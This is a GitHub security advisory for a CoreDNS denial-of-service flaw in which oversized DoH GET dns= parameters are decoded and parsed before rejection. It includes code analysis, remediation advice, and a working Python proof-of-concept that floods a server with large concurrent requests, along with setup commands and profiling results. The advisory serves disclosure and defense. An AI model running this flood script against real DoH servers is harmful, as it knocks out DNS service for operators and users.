Skip to content

CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification

High severity GitHub Reviewed Published Apr 25, 2026 in coredns/coredns • Updated Jun 12, 2026

Package

gomod github.com/coredns/coredns (Go)

Affected versions

< 1.14.3

Patched versions

1.14.3

Description

Summary

CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.

This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.

Details

The vulnerable flow is in plugin/pkg/doh/doh.go:

  • RequestToMsg() dispatches GET requests to requestToMsgGet():
    • plugin/pkg/doh/doh.go:79-89
  • requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
    • plugin/pkg/doh/doh.go:99-108
  • base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
    • plugin/pkg/doh/doh.go:121-130

Relevant snippet:

func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
    values := req.URL.Query()
    b64, ok := values["dns"]
    if !ok {
        return nil, fmt.Errorf("no 'dns' query parameter found")
    }
    if len(b64) != 1 {
        return nil, fmt.Errorf("multiple 'dns' query values found")
    }
    return base64ToMsg(b64[0])
}

func base64ToMsg(b64 string) (*dns.Msg, error) {
    buf, err := b64Enc.DecodeString(b64)
    if err != nil {
        return nil, err
    }

    m := new(dns.Msg)
    err = m.Unpack(buf)

    return m, err
}

By contrast, the POST path applies a bounded read before unpacking:

func toMsg(r io.ReadCloser) (*dns.Msg, error) {
    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
    if err != nil {
        return nil, err
    }
    m := new(dns.Msg)
    err = m.Unpack(buf)
    return m, err
}

So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.

In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:

srv := &http.Server{
    ReadTimeout:  s.ReadTimeout,
    WriteTimeout: s.WriteTimeout,
    IdleTimeout:  s.IdleTimeout,
    ErrorLog:     stdlog.New(&loggerAdapter{}, "", 0),
}

As a result, oversized DoH GET request targets are processed through:

  1. HTTP request-line parsing
  2. URL query parsing / unescaping
  3. DoH GET extraction
  4. base64 decoding
  5. DNS message unpacking

before the request is rejected.

Root cause

The root cause is missing early size validation on the DoH GET path.

More specifically:

  • requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.
  • The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.
  • base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.
  • The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.

This creates a pre-validation resource-amplification path for DoH GET.

PoC

Local test setup

I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.

Create a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
  -keyout key.pem -out cert.pem \
  -subj "/CN=127.0.0.1"

Create this Corefile:

https://127.0.0.1:8443 {
    whoami
    log
    errors
    tls cert.pem key.pem
    pprof 127.0.0.1:6060
}

Run CoreDNS:

./coredns -conf Corefile

Proof-of-concept script

#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time

def send_one(host, port, path, timeout):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    try:
        conn.request("GET", path, headers={
            "Accept": "application/dns-message",
            "Connection": "close",
        })
        resp = conn.getresponse()
        resp.read()
        return resp.status
    except Exception as e:
        return f"ERR:{type(e).__name__}"
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--decoded-kib", type=int, default=720)
    ap.add_argument("--workers", type=int, default=64)
    ap.add_argument("--requests", type=int, default=5000)
    ap.add_argument("--timeout", type=float, default=5.0)
    args = ap.parse_args()

    raw = b"A" * (args.decoded_kib * 1024)
    b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    path = "/dns-query?dns=" + b64

    print(f"[+] target = https://{args.host}:{args.port}")
    print(f"[+] decoded bytes = {len(raw):,}")
    print(f"[+] encoded chars = {len(b64):,}")
    print(f"[+] request-target length = {len(path):,}")
    print(f"[+] workers = {args.workers}, requests = {args.requests}")
    print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")

    started = time.time()
    results = collections.Counter()

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = [
            ex.submit(send_one, args.host, args.port, path, args.timeout)
            for _ in range(args.requests)
        ]
        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
            results[fut.result()] += 1
            if i % 10 == 0 or i == args.requests:
                print(f"[{i}/{args.requests}] {dict(results)}")

    elapsed = time.time() - started
    print("\n[+] done")
    print(f"[+] elapsed = {elapsed:.2f}s")
    print(f"[+] summary = {dict(results)}")

if __name__ == "__main__":
    main()

Run the PoC:

python3 poc_doh_get_oversize_https.py \
  --host 127.0.0.1 \
  --port 8443 \
  --decoded-kib 720 \
  --workers 64 \
  --requests 5000

Profiling commands used during reproduction

CPU profile:

(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait

go tool pprof -top ./coredns cpu_attack.pb.gz

Heap / allocation profiles:

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz

python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz

go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz

Reproduction results

I confirmed the issue on:

  • CoreDNS 1.14.2
  • linux/amd64
  • go1.26.1

PoC payload characteristics:

  • decoded payload size: 737,280 bytes
  • base64url-encoded dns length: 983,040
  • request-target length: 983,055

Observed request outcome:

  • 5000 / 5000 requests returned 400 Bad Request
  • total runtime for the 5000-request run: 18.22s

The important point is that the requests are rejected only after expensive processing has already happened.

CPU profile highlights

The CPU profile captured during the attack showed significant time in:

  • net/http.readRequest
  • net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg
  • encoding/base64.(*Encoding).DecodeString
  • Go GC worker paths

Representative cumulative values from the captured profile included:

  • github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP10.91s
  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet10.88s
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg3.50s
  • encoding/base64.(*Encoding).DecodeString3.46s
  • net/http.readRequest10.57s
  • net/url.(*URL).Query / ParseQuery / QueryUnescape7.38s
  • runtime.gcBgMarkWorker and related GC paths were also heavily active

This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.

Allocation profile highlights

Allocation profiling showed very large transient allocation volume caused by the rejected requests:

  • total alloc_space: 26,756.48 MB

Top contributors included:

  • net/textproto.(*Reader).readLineSlice19,668.19 MB
  • net/textproto.(*Reader).ReadLine3,738.84 MB
  • encoding/base64.(*Encoding).DecodeString2,766.16 MB

Within the CoreDNS DoH GET path specifically:

  • github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet2,775.67 MB
  • github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg2,773.67 MB

Heap delta (inuse_space) also showed live growth attributable to this path, including:

  • encoding/base64.(*Encoding).DecodeString7,629.75 kB

Memory observations

Runtime memory monitoring showed a clear increase in peak resident usage during the attack:

  • baseline VmHWM / VmRSS before load was approximately 55,864 kB
  • observed VmHWM during testing reached approximately 146,100 kB

So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.

Impact

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.

Impact includes:

  • elevated CPU consumption
  • large transient allocations
  • increased garbage-collection pressure
  • higher peak resident memory usage
  • degraded throughput and responsiveness
  • denial of service risk on memory-constrained or heavily loaded deployments

This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.

The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.

Suggested remediation

A robust fix should address both stages of the problem:

  1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
  2. Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString().
  3. Preserve equivalent size constraints across GET and POST paths.

A minimal hardening direction would be:

  • reject oversized GET requests before req.URL.Query() on the DoH path
  • reject dns values whose encoded length exceeds the maximum valid DNS message encoding
  • reject any decoded payload larger than the supported DNS message size before unpacking

Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).

References

@yongtang yongtang published to coredns/coredns Apr 25, 2026
Published to the GitHub Advisory Database Apr 28, 2026
Reviewed Apr 28, 2026
Published by the National Vulnerability Database May 5, 2026
Last updated Jun 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-32936

GHSA ID

GHSA-63cw-r7xf-jmwr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.